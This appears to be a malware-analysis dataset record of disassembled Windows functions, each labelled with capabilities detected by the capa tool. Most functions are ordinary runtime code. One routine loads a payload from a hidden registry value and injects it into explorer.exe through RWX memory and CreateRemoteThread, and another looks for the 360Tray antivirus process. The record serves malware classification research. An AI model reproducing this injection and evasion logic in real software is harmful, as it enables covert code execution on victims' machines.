joyce8/EMBER2024-capa huggingface dataset:
Function at 0x458aa0
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x458b4f
push rbp
mov rbp, rsp
sub rsp, 0x58
mov qword [rsp + 0x70], rbx
lea rdx, [rsp + 0x68]
mov qword [rsp + 8], 0
movups xmmword [rsp + 0x10], xmm15
movups xmmword [rsp + 0x18], xmm15
movups xmmword [rsp + 0x28], xmm15
movups xmmword [rsp + 0x38], xmm15
movups xmmword [rsp + 0x48], xmm15
lea rsi, [0x00458ba0]
mov qword [rsp + 0x10], rsi
mov rsi, qword [rsp + 0x60]
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdx
mov rdx, r14
mov qword [rsp + 0x28], rdx
lea rdx, [rsp + 8]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x48], rcx
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x40], rbx
lea rax, [rsp + 0x10]
mov qword [rsp], rax
call fcn.00460500
xorps xmm15, xmm15
mov r14, qword [0x005c75f0]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov rax, qword [rsp + 8]
add rsp, 0x58
pop rbp
ret
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rcx
mov qword [rsp + 0x20], rdi
call fcn.00460620
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
mov rcx, qword [rsp + 0x18]
mov rdi, qword [rsp + 0x20]
nop dword [rax]
jmp fcn.00458aa0
Function at 0x462420
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x403d63
push rbp
mov rbp, rsp
sub rsp, 0x18
mov rdx, qword [rax]
mov rcx, qword [rax + 8]
mov rax, rdx
call fcn.00409b00
add rsp, 0x18
pop rbp
ret
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call fcn.00460620
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
jmp 0x403d40
cmp byte [0x005c73eb], 0
je 0x462435
mov rcx, qword [rax + 8]
mov rax, qword [rax]
jmp 0x45f660
jmp 0x403d40

Function at 0x462440
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
nop
mov eax, dword [rax]
movabs rcx, 0xe7037ed1a0b428db
xor rcx, rax
xor rax, rbx
xor rax, qword [0x005c76c0]
movabs rdx, 0xa0761d6478bd642f
xor rdx, rax
mov rax, rcx
mul rdx
xor rax, rdx
mov rcx, rax
movabs rax, 0x1d8e4e27c47d124b
mul rcx
xor rax, rdx
nop
nop
ret
cmp byte [0x005c73eb], 0
je 0x462475
movq xmm0, rbx
pinsrd xmm0, dword [rax], 2
aesenc xmm0, xmmword [0x005c79e0]
aesenc xmm0, xmmword [0x005c79f0]
aesenc xmm0, xmmword [0x005c7a00]
movq rax, xmm0
ret
jmp 0x409d20

Function at 0x462480
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
nop
mov rax, qword [rax]
movabs rcx, 0xe7037ed1a0b428db
xor rcx, rax
xor rax, rbx
xor rax, qword [0x005c76c0]
movabs rdx, 0xa0761d6478bd642f
xor rdx, rax
mov rax, rcx
mul rdx
xor rax, rdx
mov rcx, rax
movabs rax, 0x1d8e4e27c47d1247
mul rcx
xor rax, rdx
nop
nop
ret
cmp byte [0x005c73eb], 0
je 0x4624b6
movq xmm0, rbx
pinsrq xmm0, qword [rax], 1
aesenc xmm0, xmmword [0x005c79e0]
aesenc xmm0, xmmword [0x005c79f0]
aesenc xmm0, xmmword [0x005c7a00]
movq rax, xmm0
ret
jmp 0x409d80

Function at 0x464240
Capabilities:
Allocate thread local storage

Disassembly:
push rbp
mov rbp, rsp
mov rax, rsp
and rsp, 0xfffffffffffffff0
sub rsp, 0x30
mov qword [rsp + 0x20], rax
mov rax, qword [sym.imp.kernel32.dll_TlsAlloc]
call rax
mov rsp, qword [rsp + 0x20]
mov rcx, rax
cmp rcx, 0x40
jb 0x464274
mov rcx, 0x28
jmp 0x46427f
shl rcx, 3
add rcx, 0x1480
mov qword [0x005c75f0], rcx
pop rbp
ret
Function at 0x47b8e0
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x47b9aa
push rbp
mov rbp, rsp
sub rsp, 0x48
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rbx
mov qword [rsp], rax
mov qword [rsp + 8], rbx
mov byte [rsp + 0x10], 0
call fcn.00403300
xorps xmm15, xmm15
mov r14, qword [0x005c75f0]
mov r14, qword gs:[r14]
mov r14, qword [r14]
cmp qword [rsp + 0x18], 0xffffffffffffffff
jne 0x47b98f
mov rcx, qword [rsp + 0x60]
lea rdx, [rcx + 1]
mov qword [rsp + 0x40], rdx
lea rax, [0x00493ce0]
xor ebx, ebx
mov rcx, rdx
call fcn.00449100
mov rbx, qword [rsp + 0x60]
mov rcx, rax
xor edi, edi
mov rsi, qword [rsp + 0x40]
mov rax, qword [rsp + 0x58]
nop dword [rax]
call fcn.0047bec0
inc rbx
cmp rcx, rbx
jae 0x47b97e
mov edi, 1
lea rsi, [0x00493ce0]
call fcn.004491e0
mov word [rax + rbx*2 - 2], 0
xor edi, edi
xor esi, esi
add rsp, 0x48
pop rbp
ret
xor eax, eax
xor ebx, ebx
mov rcx, rbx
lea rdi, [0x004cb048]
lea rsi, [0x004ca9d8]
add rsp, 0x48
pop rbp
ret
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call fcn.00460620
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
jmp fcn.0047b8e0
Function at 0x140002780
Capabilities:
Enumerate processes

Disassembly:
push rbx
sub rsp, 0x260
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140002800
xor edx, edx
lea rcx, [rsp + 0x24]
mov r8d, 0x234
call fcn.14002ea90
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x238
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x1400027f7
nop dword [rax]
lea rdx, str.360Tray.exe
lea rcx, [rsp + 0x4c]
call fcn.14001193c
mov rcx, rbx
test eax, eax
je 0x14000280b
lea rdx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x1400027d0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
add rsp, 0x260
pop rbx
ret
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
add rsp, 0x260
pop rbx
ret
Function at 0x140002820
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x180
mov r14, rdx
mov rbx, rcx
mov r8d, 0xa
mov rdx, rcx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rdi, rax
test rax, rax
jne 0x140002887
lea rdx, str.Failed_to_find_the_resource:
lea rcx, [0x140044930]
call fcn.140006ab0
mov rcx, rax
mov rdx, rbx
call fcn.140006ab0
mov rcx, rax
call fcn.140006d70
jmp 0x140002a0c
mov rdx, rdi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rsi, rax
test rax, rax
jne 0x1400028a3
lea rdx, str.Failed_to_load_the_resource:
jmp 0x140002863
mov rdx, rdi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebp, eax
test eax, eax
jne 0x1400028bd
lea rdx, str.Failed_to_get_the_size_of_the_resource:
jmp 0x140002863
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rdi, rax
test rax, rax
jne 0x1400028d7
lea rdx, str.Failed_to_lock_the_resource:
jmp 0x140002863
mov rdx, r14
lea rcx, [rsp + 0x30]
call fcn.1400055e0
nop
mov rax, qword [rsp + 0x30]
movsxd rcx, dword [rax + 4]
test byte [rsp + rcx + 0x40], 6
je 0x140002905
lea rdx, str.Failed_to_open_output_file:
lea rcx, [0x140044930]
jmp 0x14000297f
mov r8, rbp
mov rdx, rdi
lea rcx, [rsp + 0x30]
call fcn.140005960
lea rcx, [rsp + 0x38]
call fcn.1400060d0
test rax, rax
jne 0x140002957
mov rax, qword [rsp + 0x30]
movsxd rcx, dword [rax + 4]
mov eax, 6
mov edx, 2
cmp qword [rsp + rcx + 0x78], 0
cmovne eax, edx
or eax, dword [rsp + rcx + 0x40]
and eax, 0x17
mov dword [rsp + rcx + 0x40], eax
mov edx, dword [rsp + rcx + 0x44]
and edx, eax
jne 0x140002a2a
lea rdx, str.Resource
lea rcx, [0x140044790]
call fcn.140006ab0
mov rcx, rax
mov rdx, rbx
call fcn.140006ab0
mov rcx, rax
lea rdx, str._extracted_to_file:
call fcn.140006ab0
mov rdx, r14
mov rcx, rax
call fcn.140006ab0
mov rcx, rax
call fcn.140006d70
nop
mov rax, qword [rsp + 0x30]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x30], rax
mov rax, qword [rsp + 0x30]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x2c], edx
lea rcx, [rsp + 0x38]
call fcn.140005320
mov rax, qword [rsp + 0x30]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x30], rax
mov rax, qword [rsp + 0x30]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rsp + rcx + 0x2c], edx
lea rax, vtable.std::ios_base.0
mov qword [rsp + 0xd8], rax
lea rcx, [rsp + 0xd8]
call fcn.14000b138
nop
lea r11, [rsp + 0x180]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop r14
ret
test dl, 4
je 0x140002a38
lea rbx, str.ios_base::badbit_set
jmp 0x140002a4d
test dl, 2
lea rbx, [0x14003c450]
lea rax, [0x14003c468]
cmove rbx, rax
mov edx, 1
lea rcx, [rsp + 0x140]
call fcn.140001610
mov r8, rax
mov rdx, rbx
lea rcx, [rsp + 0x150]
call fcn.1400025c0
lea rdx, [0x140041e20]
lea rcx, [rsp + 0x150]
call fcn.14000cf1c
int3
Function at 0x140003c10
Capabilities:
Enumerate processes
Inject thread
Query or enumerate registry value
Spawn thread to rwx shellcode

Disassembly:
sub rsp, 0x298
lea rax, [rsp + 0x2a8]
mov r9d, 1
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.Console
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140003e40
mov rcx, qword [rsp + 0x2a8]
lea rax, [rsp + 0x2a0]
mov qword [rsp + 0x28], rax
lea rdx, str.qweasd321zxc
mov qword [rsp + 0x2b8], rbp
xor r9d, r9d
xor ebp, ebp
xor r8d, r8d
mov dword [rsp + 0x2a0], ebp
mov qword [rsp + 0x20], rbp
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x140003e38
mov ecx, dword [rsp + 0x2a0]
mov qword [rsp + 0x290], rsi
call fcn.140011b98
mov rcx, qword [rsp + 0x2a8]
lea rdx, str.qweasd321zxc
mov rsi, rax
xor r9d, r9d
lea rax, [rsp + 0x2a0]
xor r8d, r8d
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rsi
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x140003e30
mov qword [rsp + 0x2b0], rbx
lea ecx, [rbp + 2]
xor edx, edx
mov qword [rsp + 0x288], rdi
mov dword [rsp + 0x40], 0x238
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x140003d2d
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea ecx, [rbp + 2]
mov ebx, eax
call fcn.140015a84
mov rcx, rax
lea rdx, str.Failed_to_create_process_snapshot:__d_n
mov r8d, ebx
call fcn.1400012f0
mov edi, ebp
jmp 0x140003dab
lea rdx, [rsp + 0x40]
mov rcx, rbx
mov edi, ebp
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x140003da2
mov qword [rsp + 0x280], r14
lea r14, str.explorer.exe
lea rdx, [rsp + 0x6c]
mov rax, 0xffffffffffffffff
nop dword [rax]
movzx ecx, word [r14 + rax*2 + 2]
cmp cx, word [rdx + rax*2 + 2]
jne 0x140003d82
add rax, 2
cmp rax, 0xd
je 0x140003d96
movzx ecx, word [r14 + rax*2]
cmp cx, word [rdx + rax*2]
je 0x140003d60
lea rdx, [rsp + 0x40]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140003d50
jmp 0x140003d9a
mov edi, dword [rsp + 0x48]
mov r14, qword [rsp + 0x280]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8d, edi
mov edx, 1
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov r8d, dword [rsp + 0x2a0]
xor edx, edx
mov rcx, rax
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r9d, dword [rsp + 0x2a0]
mov r8, rsi
mov rdx, rax
mov qword [rsp + 0x20], rbp
mov rcx, rdi
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov qword [rsp + 0x30], rbp
mov r9, rbx
mov dword [rsp + 0x28], ebp
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], rbp
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rdi, qword [rsp + 0x288]
mov rbx, qword [rsp + 0x2b0]
mov rsi, qword [rsp + 0x290]
mov rbp, qword [rsp + 0x2b8]
add rsp, 0x298
ret
Function at 0x140004b70
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push r14
sub rsp, 0x20
mov r14, r8
mov rsi, rdx
mov rbx, rcx
test r8, r8
jg 0x140004ba1
xor eax, eax
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
cmp qword [rcx + 0x68], 0
mov qword [rsp + 0x30], rbp
mov qword [rsp + 0x38], rdi
je 0x140004c1b
mov rdi, r14
mov rcx, rbx
call fcn.140006200
test rax, rax
jle 0x140004bf3
mov rdx, qword [rbx + 0x38]
cmp rdi, rax
mov rbp, rdi
mov rcx, rsi
cmovge rbp, rax
mov r8, rbp
mov rdx, qword [rdx]
call fcn.14002ee50
mov rax, qword [rbx + 0x50]
sub rdi, rbp
sub dword [rax], ebp
mov rcx, qword [rbx + 0x38]
movsxd rax, ebp
add qword [rcx], rax
jmp 0x140004c0b
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 0x38]
cmp eax, 0xffffffff
je 0x140004c13
mov byte [rsi], al
dec rdi
mov ebp, 1
add rsi, rbp
test rdi, rdi
jg 0x140004bb5
sub r14, rdi
jmp 0x140004cff
mov rax, qword [rcx + 0x38]
mov rbp, r14
mov rdx, qword [rax]
test rdx, rdx
je 0x140004c32
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x140004c34
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x140004c66
cmp rax, r14
mov rdi, r14
mov rcx, rsi
cmovb rdi, rax
mov r8, rdi
call fcn.14002ee50
mov rax, qword [rbx + 0x50]
add rsi, rdi
sub rbp, rdi
sub dword [rax], edi
mov rcx, qword [rbx + 0x38]
movsxd rax, edi
add qword [rcx], rax
cmp qword [rbx + 0x80], 0
je 0x140004cfc
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x140004ca1
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
cmp rbp, 0xfff
jbe 0x140004cdd
nop word [rax + rax]
mov r9, qword [rbx + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, rsi
call fcn.140016e18
add rsi, rax
sub rbp, rax
cmp rax, 0xfff
jne 0x140004cfc
cmp rbp, rax
ja 0x140004cb0
test rbp, rbp
je 0x140004cfc
mov r9, qword [rbx + 0x80]
mov r8, rbp
mov edx, 1
mov rcx, rsi
call fcn.140016e18
sub rbp, rax
sub r14, rbp
mov rbp, qword [rsp + 0x30]
mov rax, r14
mov rdi, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
Function at 0x140008e20
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140008e6a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140008e6a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140008e6a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140008e6a
cmp dword [rcx + 0x84], 0xe
jbe 0x140008e6a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140008e6c
xor al, al
add rsp, 0x28
ret

Function at 0x140011ea8
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x140011d13
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140011d13
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140011d13
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140011d13
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140011d13
cmp dword [rcx + 0x84], 0xe
jbe 0x140011d13
cmp dword [rcx + 0xf8], 0
je 0x140011d13
mov ecx, ebx
call fcn.140011dc4
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.140011ba0
nop
cmp dword [rbp + 0x20], 0
je 0x140011d61
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.140011d6c
int3
xor r8d, r8d
xor edx, edx
jmp 0x140011ca4

Function at 0x14001d640
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x14001d656
mov al, 1
jmp 0x14001d6b6
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x14001d667
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x14001d6b4
mov ecx, dword [rcx + 0x18]
nop
call fcn.140024c78
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14001d6b4
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x14001d6b4
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x14001d6b4
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x14001d6b6
xor al, al
add rsp, 0x20
pop rbx
ret
Function at 0x140021640
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x1050
call fcn.14002e220
sub rsp, rax
mov rax, qword [0x140043040]
xor rax, rsp
mov qword [rsp + 0x1040], rax
mov r15, r8
mov rbp, rdx
mov rbx, rcx
call fcn.14001d424
xor edi, edi
movsxd r14, eax
cmp dword [rbx + 0x10], edi
jne 0x14002168f
mov rax, rbp
jmp 0x140021797
mov rax, qword [rbx]
mov rcx, r14
sub rax, qword [rbx + 8]
and ecx, 0x3f
cqo
mov rbx, r14
sub rax, rdx
sar rbx, 6
sar rax, 1
mov r9, r15
lea r12, [rcx + rcx*8]
mov rsi, rax
lea rax, [0x140000000]
xor r8d, r8d
mov rdx, qword [rax + rbx*8 + 0x45180]
mov ecx, r14d
mov rdx, qword [rdx + r12*8 + 0x30]
call fcn.1400229bc
mov r13, rax
lea rax, [0x140000000]
mov rcx, qword [rax + rbx*8 + 0x45180]
cmp r13, qword [rcx + r12*8 + 0x30]
jne 0x140021793
mov rcx, qword [rcx + r12*8 + 0x28]
lea r9, [rsp + 0x30]
mov r8d, 0x1000
mov qword [rsp + 0x20], rdi
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140021793
mov r9, r15
xor r8d, r8d
mov rdx, rbp
mov ecx, r14d
call fcn.1400229bc
test rax, rax
js 0x140021793
mov eax, dword [rsp + 0x30]
cmp rsi, rax
jg 0x140021793
lea rdx, [rsp + 0x40]
add rdx, rax
lea rcx, [rsp + 0x40]
test rsi, rsi
je 0x140021785
lea r8, [0x140000000]
cmp rcx, rdx
jae 0x140021785
cmp byte [rcx], 0xd
jne 0x14002176b
lea rax, [rdx - 1]
cmp rcx, rax
jae 0x14002177a
cmp byte [rcx + 1], 0xa
jne 0x14002177a
inc rcx
jmp 0x14002177a
movzx eax, byte [rcx]
movsx rax, byte [rax + r8 + 0x434d0]
add rcx, rax
inc rdi
inc rcx
cmp rdi, rsi
jne 0x14002174d
lea rax, [rsp + 0x40]
sub rcx, rax
lea rax, [rcx + r13]
jmp 0x140021797
or rax, 0xffffffffffffffff
mov rcx, qword [rsp + 0x1040]
xor rcx, rsp
call fcn.14002e1f0
mov rbx, qword [rsp + 0x1090]
add rsp, 0x1050
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x140021d5c
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
movsxd r15, ecx
lea r9, [0x140045180]
mov rax, r15
mov rbp, r15
and eax, 0x3f
sar rbp, 6
mov ecx, 4
xor esi, esi
mov r14, rdx
lea rdi, [rax + rax*8]
mov rax, qword [r9 + rbp*8]
lea r13d, [rcx + 6]
mov r10, qword [rax + rdi*8 + 0x28]
test r8, r8
je 0x140021db3
cmp word [rdx], r13w
jne 0x140021db3
or byte [rax + rdi*8 + 0x38], cl
jmp 0x140021db8
and byte [rax + rdi*8 + 0x38], 0xfb
lea r8, [rdx + r8*2]
mov rbx, r14
cmp r14, r8
jae 0x140021edd
mov r11d, 0xd
lea r12d, [r11 - 0xb]
movzx ecx, word [rdx]
cmp cx, 0x1a
je 0x140021efe
lea r9, [rdx + 2]
cmp cx, r11w
je 0x140021df1
mov rdx, r9
mov word [rbx], cx
jmp 0x140021e18
cmp r9, r8
jae 0x140021e28
cmp word [r9], r13w
mov rax, r12
mov ecx, 4
cmove rax, rcx
add rdx, rax
mov eax, r13d
cmp word [r9], r13w
cmovne ax, r11w
mov word [rbx], ax
mov rax, r12
add rbx, rax
cmp rdx, r8
jb 0x140021dd2
jmp 0x140021edd
lea r9, [rsp + 0x80]
mov qword [rsp + 0x20], rsi
mov r8d, r12d
lea rdx, [rsp + 0x70]
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140021ed2
cmp dword [rsp + 0x80], esi
je 0x140021ed2
lea r8, [0x140045180]
mov rax, qword [r8 + rbp*8]
test byte [rax + rdi*8 + 0x38], 0x48
je 0x140021eaa
movzx eax, word [rsp + 0x70]
cmp ax, r13w
jne 0x140021e7a
mov word [rbx], r13w
jmp 0x140021eda
mov ecx, 0xd
mov word [rsp + 0x78], ax
mov word [rbx], cx
mov rax, qword [r8 + rbp*8]
lea rcx, [rax + rdi*8]
mov al, byte [rsp + rsi + 0x78]
mov byte [rcx + rsi + 0x3a], al
inc rsi
cmp rsi, r12
jl 0x140021e87
mov rax, qword [r8 + rbp*8]
mov byte [rax + rdi*8 + 0x3c], r13b
jmp 0x140021eda
cmp word [rsp + 0x70], r13w
jne 0x140021eb7
cmp rbx, r14
je 0x140021e74
mov rdx, 0xfffffffffffffffe
mov ecx, r15d
lea r8d, [rdx + 3]
call fcn.1400229c4
cmp word [rsp + 0x70], r13w
je 0x140021edd
mov ecx, 0xd
mov word [rbx], cx
add rbx, r12
sub rbx, r14
sar rbx, 1
lea eax, [rbx + rbx]
mov rbx, qword [rsp + 0x88]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
lea r8, [0x140045180]
mov rdx, qword [r8 + rbp*8]
mov al, byte [rdx + rdi*8 + 0x38]
test al, 0x40
jne 0x140021ed7
or al, r12b
mov byte [rdx + rdi*8 + 0x38], al
jmp 0x140021edd
Function at 0x140024274
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x1400242a4
xor eax, eax
jmp 0x140024367
mov rbp, rbx
cmp word [rax], si
je 0x1400242c9
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x1400242b0
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x1400242ac
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.140024194
movsxd r14, eax
test eax, eax
jne 0x140024307
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x14002429d
mov rcx, r14
call fcn.14001d360
mov rdi, rax
test rax, rax
jne 0x140024320
xor ecx, ecx
call fcn.14001db40
jmp 0x1400242fc
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.140024194
test eax, eax
jne 0x140024351
mov rcx, rdi
call fcn.14001db40
jmp 0x14002435b
xor ecx, ecx
call fcn.14001db40
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret

Function at 0x14002735c
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov esi, edx
mov ebx, ecx
call fcn.14001cf28
mov ecx, ebx
lea r8, [rsp + 0x30]
and ecx, 0x3ff
mov r9d, 2
bts ecx, 0xa
mov edx, 0x20000001
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
xor edx, edx
test eax, eax
je 0x1400273fd
cmp ebx, dword [rsp + 0x30]
je 0x1400273f6
test esi, esi
je 0x1400273f6
mov r10, qword [rdi + 0x98]
mov r9d, edx
movzx r8d, word [r10]
lea rcx, [r10 + 2]
lea eax, [r8 - 0x41]
cmp ax, 0x19
jbe 0x1400273d1
sub r8w, 0x61
cmp r8w, 0x19
ja 0x1400273de
movzx r8d, word [rcx]
inc r9d
add rcx, 2
jmp 0x1400273bb
or rax, 0xffffffffffffffff
inc rax
cmp word [r10 + rax*2], dx
jne 0x1400273e2
cmp r9d, eax
setne dl
mov eax, edx
jmp 0x1400273ff
mov eax, 1
jmp 0x1400273ff
xor eax, eax
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret